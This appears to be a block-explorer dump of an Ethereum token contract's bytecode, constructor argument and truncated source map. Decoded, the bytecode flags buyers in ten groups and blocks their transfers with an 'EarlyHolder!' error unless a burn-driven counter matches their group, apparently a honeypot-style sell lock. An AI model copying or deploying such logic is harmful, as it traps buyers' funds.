0000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b129190611854565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba39190611854565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610bf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c149190611854565b600680546001600160a01b0319166001600160a01b03929092169182179055610c3e9060016114fc565b306000908152602081905260409020546108e79034611550565b6005546001600160a01b03610100909104163314610c885760405162461bcd60e51b81526004016108509061181f565b6001600160a01b038116610ced5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610850565b610cf6816114a2565b50565b6001600160a01b038316610d5b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610850565b6001600160a01b038216610dbc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610850565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546001600160a01b038481169116146112d4576006546001600160a01b039081169084160361103857601354600003610e7a576001600160a01b0382166000908152600860205260409020805460ff19166001179055611038565b601354600103610eac576001600160a01b0382166000908152600960205260409020805460ff19166001179055611038565b601354600203610ede576001600160a01b0382166000908152600a60205260409020805460ff19166001179055611038565b601354600303610f10576001600160a01b0382166000908152600b60205260409020805460ff19166001179055611038565b601354600403610f42576001600160a01b0382166000908152600c60205260409020805460ff19166001179055611038565b601354600503610f74576001600160a01b0382166000908152600d60205260409020805460ff19166001179055611038565b601354600603610fa6576001600160a01b0382166000908152600e60205260409020805460ff19166001179055611038565b601354600703610fd8576001600160a01b0382166000908152600f60205260409020805460ff19166001179055611038565b60135460080361100a576001600160a01b0382166000908152601060205260409020805460ff19166001179055611038565b601354600903611038576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6001600160a01b03831660009081526008602052604090205460ff161561107957601354156110795760405162461bcd60e51b815260040161085090611871565b6001600160a01b03831660009081526009602052604090205460ff16156110bc576013546001146110bc5760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600a602052604090205460ff16156110ff576013546002146110ff5760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600b602052604090205460ff1615611142576013546003146111425760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600c602052604090205460ff1615611185576013546004146111855760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600d602052604090205460ff16156111c8576013546005146111c85760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600e602052604090205460ff161561120b5760135460061461120b5760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600f602052604090205460ff161561124e5760135460071461124e5760405162461bcd60e51b815260040161085090611871565b6001600160a01b03831660009081526010602052604090205460ff1615611291576013546008146112915760405162461bcd60e51b815260040161085090611871565b6001600160a01b03831660009081526011602052604090205460ff16156112d4576013546009146112d45760405162461bcd60e51b815260040161085090611871565b61deac196001600160a01b038316016112fd57601380549060006112f783611897565b91905055505b6001600160a01b0383166113615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610850565b6001600160a01b0382166113c35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610850565b6001600160a01b0383166000908152602081905260409020548181101561143b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610850565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260126020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b61157b307f000000000000000000000000000000000000000000000000000000000000000084610cf9565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d7198230856000806115c86005546001600160a01b036101009091041690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611630573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061165591906118b0565b5050505050565b600060208083528351808285015260005b818110156116895785810183015185820160400152820161166d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610cf657600080fd5b600080604083850312156116d257600080fd5b82356116dd816116aa565b946020939093013593505050565b60008060006060848603121561170057600080fd5b833561170b816116aa565b9250602084013561171b816116aa565b929592945050506040919091013590565b60006020828403121561173e57600080fd5b8135611749816116aa565b9392505050565b6000806040838503121561176357600080fd5b823561176e816116aa565b91506020830135801515811461178357600080fd5b809150509250929050565b600080604083850312156117a157600080fd5b82356117ac816116aa565b91506020830135611783816116aa565b600181811c908216806117d057607f821691505b6020821081036117f057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156107bc576107bc6117f6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561186657600080fd5b8151611749816116aa565b6020808252600c908201526b4561726c79486f6c6465722160a01b604082015260600190565b6000600182016118a9576118a96117f6565b5060010190565b6000806000606084860312156118c557600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122079023505ed40ccbff7db32af2e8b854826e53aaee9066f611e600145f253610264736f6c634300081300330000000000000000000000002cdc10a72e1a5ead7410313f4b9f67a0995c0f38
Deployed Bytecode
0x6080604052600436106101dc5760003560e01c806395d89b4111610102578063b72ae3be11610095578063e3369d6811610064578063e3369d681461067f578063e8078d94146106b8578063ee95feaf146106c0578063f2fde38b146106f957600080fd5b8063b72ae3be1461058e578063cfb0205a146105c7578063d7fa0e4114610600578063dd62ed3e1461063957600080fd5b8063a4d0047d116100d1578063a4d0047d146104ef578063a9059cbb14610505578063aa06a76e14610525578063b62496f51461055e57600080fd5b806395d89b41146104615780639a7a23d614610476578063a317022d14610496578063a457c2d7146104cf57600080fd5b80632a55feec1161017a57806370a082311161014957806370a08231146103b8578063715018a6146103ee57806387635977146104055780638da5cb5b1461043e57600080fd5b80632a55feec1461031d578063313ce56714610356578063395093511461037857806349bd5a5e1461039857600080fd5b806318160ddd116101b657806318160ddd1461028f57806323b872dd146102ae57806327c8f835146102ce5780632a1adac7146102e457600080fd5b806306fdde03146101e8578063095ea7b3146102135780631694505e1461024357600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610719565b60405161020a919061165c565b60405180910390f35b34801561021f57600080fd5b5061023361022e3660046116bf565b6107ab565b604051901515815260200161020a565b34801561024f57600080fd5b506102777f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161020a565b34801561029b57600080fd5b506002545b60405190815260200161020a565b3480156102ba57600080fd5b506102336102c93660046116eb565b6107c2565b3480156102da57600080fd5b5061027761dead81565b3480156102f057600080fd5b506102336102ff36600461172c565b6001600160a01b03166000908152600b602052604090205460ff1690565b34801561032957600080fd5b5061023361033836600461172c565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561036257600080fd5b5060055460405160ff909116815260200161020a565b34801561038457600080fd5b506102336103933660046116bf565b610871565b3480156103a457600080fd5b50600654610277906001600160a01b031681565b3480156103c457600080fd5b506102a06103d336600461172c565b6001600160a01b031660009081526020819052604090205490565b3480156103fa57600080fd5b506104036108ad565b005b34801561041157600080fd5b5061023361042036600461172c565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561044a57600080fd5b5060055461010090046001600160a01b0316610277565b34801561046d57600080fd5b506101fd6108e9565b34801561048257600080fd5b50610403610491366004611750565b6108f8565b3480156104a257600080fd5b506102336104b136600461172c565b6001600160a01b03166000908152600a602052604090205460ff1690565b3480156104db57600080fd5b506102336104ea3660046116bf565b6109ba565b3480156104fb57600080fd5b506102a060135481565b34801561051157600080fd5b506102336105203660046116bf565b610a53565b34801561053157600080fd5b5061023361054036600461172c565b6001600160a01b03166000908152600c602052604090205460ff1690565b34801561056a57600080fd5b5061023361057936600461172c565b60126020526000908152604090205460ff1681565b34801561059a57600080fd5b506102336105a936600461172c565b6001600160a01b031660009081526008602052604090205460ff1690565b3480156105d357600080fd5b506102336105e236600461172c565b6001600160a01b03166000908152600e602052604090205460ff1690565b34801561060c57600080fd5b5061023361061b36600461172c565b6001600160a01b031660009081526011602052604090205460ff1690565b34801561064557600080fd5b506102a061065436600461178e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561068b57600080fd5b5061023361069a36600461172c565b6001600160a01b031660009081526010602052604090205460ff1690565b610403610a60565b3480156106cc57600080fd5b506102336106db36600461172c565b6001600160a01b03166000908152600f602052604090205460ff1690565b34801561070557600080fd5b5061040361071436600461172c565b610c58565b606060038054610728906117bc565b80601f0160208091040260200160405190810160405280929190818152602001828054610754906117bc565b80156107a15780601f10610776576101008083540402835291602001916107a1565b820191906000526020600020905b81548152906001019060200180831161078457829003601f168201915b5050505050905090565b60006107b8338484610cf9565b5060015b92915050565b60006107cf848484610e1d565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156108595760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6108668533858403610cf9565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916107b89185906108a890869061180c565b610cf9565b6005546001600160a01b036101009091041633146108dd5760405162461bcd60e51b81526004016108509061181f565b6108e760006114a2565b565b606060048054610728906117bc565b6005546001600160a01b036101009091041633146109285760405162461bcd60e51b81526004016108509061181f565b6006546001600160a01b03908116908316036109ac5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610850565b6109b682826114fc565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610a3c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610850565b610a493385858403610cf9565b5060019392505050565b60006107b8338484610e1d565b6005546001600160a01b03610100909104163314610a905760405162461bcd60e51b81526004016108509061181f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b129190611854565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba39190611854565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610bf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c149190611854565b600680546001600160a01b0319166001600160a01b03929092169182179055610c3e9060016114fc565b306000908152602081905260409020546108e79034611550565b6005546001600160a01b03610100909104163314610c885760405162461bcd60e51b81526004016108509061181f565b6001600160a01b038116610ced5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610850565b610cf6816114a2565b50565b6001600160a01b038316610d5b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610850565b6001600160a01b038216610dbc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610850565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546001600160a01b038481169116146112d4576006546001600160a01b039081169084160361103857601354600003610e7a576001600160a01b0382166000908152600860205260409020805460ff19166001179055611038565b601354600103610eac576001600160a01b0382166000908152600960205260409020805460ff19166001179055611038565b601354600203610ede576001600160a01b0382166000908152600a60205260409020805460ff19166001179055611038565b601354600303610f10576001600160a01b0382166000908152600b60205260409020805460ff19166001179055611038565b601354600403610f42576001600160a01b0382166000908152600c60205260409020805460ff19166001179055611038565b601354600503610f74576001600160a01b0382166000908152600d60205260409020805460ff19166001179055611038565b601354600603610fa6576001600160a01b0382166000908152600e60205260409020805460ff19166001179055611038565b601354600703610fd8576001600160a01b0382166000908152600f60205260409020805460ff19166001179055611038565b60135460080361100a576001600160a01b0382166000908152601060205260409020805460ff19166001179055611038565b601354600903611038576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6001600160a01b03831660009081526008602052604090205460ff161561107957601354156110795760405162461bcd60e51b815260040161085090611871565b6001600160a01b03831660009081526009602052604090205460ff16156110bc576013546001146110bc5760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600a602052604090205460ff16156110ff576013546002146110ff5760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600b602052604090205460ff1615611142576013546003146111425760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600c602052604090205460ff1615611185576013546004146111855760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600d602052604090205460ff16156111c8576013546005146111c85760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600e602052604090205460ff161561120b5760135460061461120b5760405162461bcd60e51b815260040161085090611871565b6001600160a01b0383166000908152600f602052604090205460ff161561124e5760135460071461124e5760405162461bcd60e51b815260040161085090611871565b6001600160a01b03831660009081526010602052604090205460ff1615611291576013546008146112915760405162461bcd60e51b815260040161085090611871565b6001600160a01b03831660009081526011602052604090205460ff16156112d4576013546009146112d45760405162461bcd60e51b815260040161085090611871565b61deac196001600160a01b038316016112fd57601380549060006112f783611897565b91905055505b6001600160a01b0383166113615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610850565b6001600160a01b0382166113c35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610850565b6001600160a01b0383166000908152602081905260409020548181101561143b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610850565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260126020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b61157b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610cf9565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806115c86005546001600160a01b036101009091041690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611630573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061165591906118b0565b5050505050565b600060208083528351808285015260005b818110156116895785810183015185820160400152820161166d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610cf657600080fd5b600080604083850312156116d257600080fd5b82356116dd816116aa565b946020939093013593505050565b60008060006060848603121561170057600080fd5b833561170b816116aa565b9250602084013561171b816116aa565b929592945050506040919091013590565b60006020828403121561173e57600080fd5b8135611749816116aa565b9392505050565b6000806040838503121561176357600080fd5b823561176e816116aa565b91506020830135801515811461178357600080fd5b809150509250929050565b600080604083850312156117a157600080fd5b82356117ac816116aa565b91506020830135611783816116aa565b600181811c908216806117d057607f821691505b6020821081036117f057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156107bc576107bc6117f6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561186657600080fd5b8151611749816116aa565b6020808252600c908201526b4561726c79486f6c6465722160a01b604082015260600190565b6000600182016118a9576118a96117f6565b5060010190565b6000806000606084860312156118c557600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122079023505ed40ccbff7db32af2e8b854826e53aaee9066f611e600145f253610264736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000002cdc10a72e1a5ead7410313f4b9f67a0995c0f38
-----Decoded View---------------
Arg [0] : markerWallet_ (address): 0x2cdC10a72e1A5eAd7410313f4b9F67a0995C0F38
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000002cdc10a72e1a5ead7410313f4b9f67a0995c0f38
Deployed Bytecode Sourcemap
17694:7007:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12751:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13738:194;;;;;;;;;;-1:-1:-1;13738:194:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13738:194:0;1023:187:1;17735:51:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;17735:51:0;1215:229:1;13079:108:0;;;;;;;;;;-1:-1:-1;13167:12:0;;13079:108;;;1595:25:1;;;1583:2;1568:18;13079:108:0;1449:177:1;13940:529:0;;;;;;;;;;-1:-1:-1;13940:529:0;;;;;:::i;:::-;;:::i;12516:53::-;;;;;;;;;;;;12562:6;12516:53;;23702:105;;;;;;;;;;-1:-1:-1;23702:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;23781:18:0;23757:4;23781:18;;;:11;:18;;;;;;;;;23702:105;23474;;;;;;;;;;-1:-1:-1;23474:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;23553:18:0;23529:4;23553:18;;;:11;:18;;;;;;;;;23474:105;12971:100;;;;;;;;;;-1:-1:-1;13054:9:0;;12971:100;;13054:9;;;;2694:36:1;;2682:2;2667:18;12971:100:0;2552:184:1;14477:290:0;;;;;;;;;;-1:-1:-1;14477:290:0;;;;;:::i;:::-;;:::i;17793:28::-;;;;;;;;;;-1:-1:-1;17793:28:0;;;;-1:-1:-1;;;;;17793:28:0;;;13195:143;;;;;;;;;;-1:-1:-1;13195:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13312:18:0;13285:7;13312:18;;;;;;;;;;;;13195:143;11648:103;;;;;;;;;;;;;:::i;:::-;;23925:110;;;;;;;;;;-1:-1:-1;23925:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;24001:26:0;23977:4;24001:26;;;:19;:26;;;;;;;;;23925:110;11425:87;;;;;;;;;;-1:-1:-1;11498:6:0;;;;;-1:-1:-1;;;;;11498:6:0;11425:87;;12859:104;;;;;;;;;;;;;:::i;19781:306::-;;;;;;;;;;-1:-1:-1;19781:306:0;;;;;:::i;:::-;;:::i;23587:107::-;;;;;;;;;;-1:-1:-1;23587:107:0;;;;;:::i;:::-;-1:-1:-1;;;;;23667:19:0;23643:4;23667:19;;;:12;:19;;;;;;;;;23587:107;14775:475;;;;;;;;;;-1:-1:-1;14775:475:0;;;;;:::i;:::-;;:::i;18446:26::-;;;;;;;;;;;;;;;;13346:200;;;;;;;;;;-1:-1:-1;13346:200:0;;;;;:::i;:::-;;:::i;23815:102::-;;;;;;;;;;-1:-1:-1;23815:102:0;;;;;:::i;:::-;-1:-1:-1;;;;;23892:17:0;23868:4;23892:17;;;:10;:17;;;;;;;;;23815:102;18382:57;;;;;;;;;;-1:-1:-1;18382:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;23357:105;;;;;;;;;;-1:-1:-1;23357:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;23436:18:0;23412:4;23436:18;;;:11;:18;;;;;;;;;23357:105;24043:102;;;;;;;;;;-1:-1:-1;24043:102:0;;;;;:::i;:::-;-1:-1:-1;;;;;24121:16:0;24097:4;24121:16;;;:9;:16;;;;;;;;;24043:102;24374;;;;;;;;;;-1:-1:-1;24374:102:0;;;;;:::i;:::-;-1:-1:-1;;;;;24451:17:0;24427:4;24451:17;;;:10;:17;;;;;;;;;24374:102;13554:176;;;;;;;;;;-1:-1:-1;13554:176:0;;;;;:::i;:::-;-1:-1:-1;;;;;13695:18:0;;;13668:7;13695:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13554:176;24266:100;;;;;;;;;;-1:-1:-1;24266:100:0;;;;;:::i;:::-;-1:-1:-1;;;;;24342:16:0;24318:4;24342:16;;;:9;:16;;;;;;;;;24266:100;19053:349;;;:::i;24153:105::-;;;;;;;;;;-1:-1:-1;24153:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;24233:17:0;24209:4;24233:17;;;:10;:17;;;;;;;;;24153:105;11759:238;;;;;;;;;;-1:-1:-1;11759:238:0;;;;;:::i;:::-;;:::i;12751:100::-;12805:13;12838:5;12831:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12751:100;:::o;13738:194::-;13846:4;13863:39;11026:10;13886:7;13895:6;13863:8;:39::i;:::-;-1:-1:-1;13920:4:0;13738:194;;;;;:::o;13940:529::-;14080:4;14097:36;14107:6;14115:9;14126:6;14097:9;:36::i;:::-;-1:-1:-1;;;;;14173:19:0;;14146:24;14173:19;;;:11;:19;;;;;;;;11026:10;14173:33;;;;;;;;14239:26;;;;14217:116;;;;-1:-1:-1;;;14217:116:0;;4142:2:1;14217:116:0;;;4124:21:1;4181:2;4161:18;;;4154:30;4220:34;4200:18;;;4193:62;-1:-1:-1;;;4271:18:1;;;4264:38;4319:19;;14217:116:0;;;;;;;;;14369:57;14378:6;11026:10;14419:6;14400:16;:25;14369:8;:57::i;:::-;-1:-1:-1;14457:4:0;;13940:529;-1:-1:-1;;;;13940:529:0:o;14477:290::-;11026:10;14590:4;14679:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14679:34:0;;;;;;;;;;14590:4;;14607:130;;14657:7;;14679:47;;14716:10;;14679:47;:::i;:::-;14607:8;:130::i;11648:103::-;11498:6;;-1:-1:-1;;;;;11498:6:0;;;;;11026:10;11560:23;11552:68;;;;-1:-1:-1;;;11552:68:0;;;;;;;:::i;:::-;11713:30:::1;11740:1;11713:18;:30::i;:::-;11648:103::o:0;12859:104::-;12915:13;12948:7;12941:14;;;;;:::i;19781:306::-;11498:6;;-1:-1:-1;;;;;11498:6:0;;;;;11026:10;11560:23;11552:68;;;;-1:-1:-1;;;11552:68:0;;;;;;;:::i;:::-;19927:13:::1;::::0;-1:-1:-1;;;;;19927:13:0;;::::1;19919:21:::0;;::::1;::::0;19897:128:::1;;;::::0;-1:-1:-1;;;19897:128:0;;5174:2:1;19897:128:0::1;::::0;::::1;5156:21:1::0;5213:2;5193:18;;;5186:30;5252:34;5232:18;;;5225:62;5323:27;5303:18;;;5296:55;5368:19;;19897:128:0::1;4972:421:1::0;19897:128:0::1;20038:41;20067:4;20073:5;20038:28;:41::i;:::-;19781:306:::0;;:::o;14775:475::-;11026:10;14893:4;14937:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;14937:34:0;;;;;;;;;;15004:35;;;;14982:122;;;;-1:-1:-1;;;14982:122:0;;5600:2:1;14982:122:0;;;5582:21:1;5639:2;5619:18;;;5612:30;5678:34;5658:18;;;5651:62;-1:-1:-1;;;5729:18:1;;;5722:35;5774:19;;14982:122:0;5398:401:1;14982:122:0;15140:67;11026:10;15163:7;15191:15;15172:16;:34;15140:8;:67::i;:::-;-1:-1:-1;15238:4:0;;14775:475;-1:-1:-1;;;14775:475:0:o;13346:200::-;13457:4;13474:42;11026:10;13498:9;13509:6;13474:9;:42::i;19053:349::-;11498:6;;-1:-1:-1;;;;;11498:6:0;;;;;11026:10;11560:23;11552:68;;;;-1:-1:-1;;;11552:68:0;;;;;;;:::i;:::-;19149:15:::1;-1:-1:-1::0;;;;;19149:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;19131:55:0::1;;19209:4;19229:15;-1:-1:-1::0;;;;;19229:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19131:131;::::0;-1:-1:-1;;;;;;19131:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6290:15:1;;;19131:131:0::1;::::0;::::1;6272:34:1::0;6342:15;;6322:18;;;6315:43;6207:18;;19131:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19115:13;:147:::0;;-1:-1:-1;;;;;;19115:147:0::1;-1:-1:-1::0;;;;;19115:147:0;;;::::1;::::0;;::::1;::::0;;19273:58:::1;::::0;-1:-1:-1;19273:28:0::1;:58::i;:::-;19376:4;13285:7:::0;13312:18;;;;;;;;;;;19344:50:::1;::::0;19384:9:::1;19344:13;:50::i;11759:238::-:0;11498:6;;-1:-1:-1;;;;;11498:6:0;;;;;11026:10;11560:23;11552:68;;;;-1:-1:-1;;;11552:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11862:22:0;::::1;11840:110;;;::::0;-1:-1:-1;;;11840:110:0;;6571:2:1;11840:110:0::1;::::0;::::1;6553:21:1::0;6610:2;6590:18;;;6583:30;6649:34;6629:18;;;6622:62;-1:-1:-1;;;6700:18:1;;;6693:36;6746:19;;11840:110:0::1;6369:402:1::0;11840:110:0::1;11961:28;11980:8;11961:18;:28::i;:::-;11759:238:::0;:::o;17042:380::-;-1:-1:-1;;;;;17178:19:0;;17170:68;;;;-1:-1:-1;;;17170:68:0;;6978:2:1;17170:68:0;;;6960:21:1;7017:2;6997:18;;;6990:30;7056:34;7036:18;;;7029:62;-1:-1:-1;;;7107:18:1;;;7100:34;7151:19;;17170:68:0;6776:400:1;17170:68:0;-1:-1:-1;;;;;17257:21:0;;17249:68;;;;-1:-1:-1;;;17249:68:0;;7383:2:1;17249:68:0;;;7365:21:1;7422:2;7402:18;;;7395:30;7461:34;7441:18;;;7434:62;-1:-1:-1;;;7512:18:1;;;7505:32;7554:19;;17249:68:0;7181:398:1;17249:68:0;-1:-1:-1;;;;;17330:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17382:32;;1595:25:1;;;17382:32:0;;1568:18:1;17382:32:0;;;;;;;17042:380;;;:::o;20289:3060::-;20397:13;;-1:-1:-1;;;;;20389:21:0;;;20397:13;;20389:21;20385:2370;;20434:13;;-1:-1:-1;;;;;20434:13:0;;;20426:21;;;;20422:676;;20468:11;;20483:1;20468:16;20464:622;;-1:-1:-1;;;;;20486:15:0;;;;;;:11;:15;;;;;:22;;-1:-1:-1;;20486:22:0;20504:4;20486:22;;;20464:622;;;20532:11;;20547:1;20532:16;20528:558;;-1:-1:-1;;;;;20550:15:0;;;;;;:11;:15;;;;;:22;;-1:-1:-1;;20550:22:0;20568:4;20550:22;;;20528:558;;;20596:11;;20611:1;20596:16;20592:494;;-1:-1:-1;;;;;20614:16:0;;;;;;:12;:16;;;;;:23;;-1:-1:-1;;20614:23:0;20633:4;20614:23;;;20592:494;;;20661:11;;20676:1;20661:16;20657:429;;-1:-1:-1;;;;;20679:15:0;;;;;;:11;:15;;;;;:22;;-1:-1:-1;;20679:22:0;20697:4;20679:22;;;20657:429;;;20725:11;;20740:1;20725:16;20721:365;;-1:-1:-1;;;;;20743:14:0;;;;;;:10;:14;;;;;:21;;-1:-1:-1;;20743:21:0;20760:4;20743:21;;;20721:365;;;20788:11;;20803:1;20788:16;20784:302;;-1:-1:-1;;;;;20806:23:0;;;;;;:19;:23;;;;;:30;;-1:-1:-1;;20806:30:0;20832:4;20806:30;;;20784:302;;;20860:11;;20875:1;20860:16;20856:230;;-1:-1:-1;;;;;20878:13: